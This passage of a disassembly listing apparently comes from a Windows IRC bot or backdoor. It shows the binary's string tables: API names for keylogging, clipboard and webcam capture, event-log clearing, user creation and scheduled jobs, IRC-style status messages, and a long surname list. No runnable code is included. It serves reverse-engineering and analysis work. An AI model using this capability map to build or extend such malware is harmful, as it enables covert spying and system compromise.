; sub_401ACD+7DAEo
unicode 0, <!>,0
; char asc_42D124[]
asc_42D124: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E5Do ...
unicode 0, < >,0
; char SubStr[]
SubStr db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402602o
align 4
; char aSSS_1[]
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B13:loc_40A77Do
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B13+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B13+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B13+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B13+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B13+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
align 10h
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B13:loc_40A6DFo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B13+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B13+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
align 10h
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B13+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B13:loc_40A5D7o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B13:loc_40A58Do
align 10h
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
; sub_4185A5+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B13+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B13+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B13+9C5o
align 10h
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B13+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B13+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
align 10h
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B13+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B13+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B13:loc_40A471o
; sub_4185A5+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B13+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B13+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B13+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B13:loc_40A412o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B13+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B13+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B13+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B13+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B13+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B13+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B13+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B13+658o
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_409B13+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409B13+63Eo
align 10h
aSelect db 'select',0 ; DATA XREF: sub_409B13+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409B13+629o
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B13+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409B13+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409B13+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B13+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B13+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409B13+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409B13+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B13+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B13+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409B13+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B13+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B13+57Bo
align 10h
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B13+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B13+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B13+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B13+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B13+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B13+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B13+525o
align 10h
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B13+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B13+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B13+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B13+487o
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B13+47Ao
align 10h
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B13+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B13+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B13:loc_409F40o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B13:loc_409F18o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
align 10h
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B13+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B13+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B13+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B13+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B13:loc_409E6Ao
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
align 10h
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B13+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B13+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B13+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B13+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B13+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B13:loc_409D72o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B13+20Do
align 10h
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B13+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B13+1A0o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B13+193o
align 10h
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B13+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B13+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B13+15Fo
align 10h
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B13+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B13+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B13:loc_409C48o
; ___crtMessageBoxA+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
align 10h
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B13+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B13+79o
align 10h
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B13+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B13+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B13+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B13+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B13+Ao
align 4
; char asc_42DA28[]
asc_42DA28 db '-' ; DATA XREF: sub_40A7CF+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
; char aShell32_dllFai[]
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
align 10h
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
align 4
; char aDnsapi_dllFail[]
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
align 10h
; char aIcmp_dllFailed[]
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
align 4
; char aWininet_dllFai[]
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
align 4
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
align 10h
; char aUser32_dllFail[]
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
align 4
; char a__0[]
a__0: ; DATA XREF: sub_40D99C+10o
; sub_40F96B+252o
unicode 0, <.>,0
unk_42DBB8 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABF1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
; char asc_42DBE8[]
asc_42DBE8 db '-' ; DATA XREF: sub_40AB32:loc_40ABBFo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42DC18 db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40AB8Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
; char asc_42DC3C[]
asc_42DC3C db '-' ; DATA XREF: sub_40AB32+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC10+46o
; sub_40BFEC+38o ...
align 8
aReal db 'real',0
align 10h
dd 0
dword_42DC84 dd 0 ; DATA XREF: sub_40B08E+7o
off_42DC88 dd offset sub_40ACB6 ; DATA XREF: sub_40B08E+49r
aConst db 'const',0
align 8
dd 1, 40AD23h, 7474656Ch, 7265h, 0
dd 2, 40AD81h, 706D6F63h, 2 dup(0)
dd 3, 40ADCEh, 6E756F63h, 797274h, 0
dd 4, 40AE6Ch, 736Fh, 2 dup(0)
dd 5, 40AEE1h
off_42DCF0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB6+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42DCFC dd offset aAddison ; DATA XREF: sub_40B08E+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
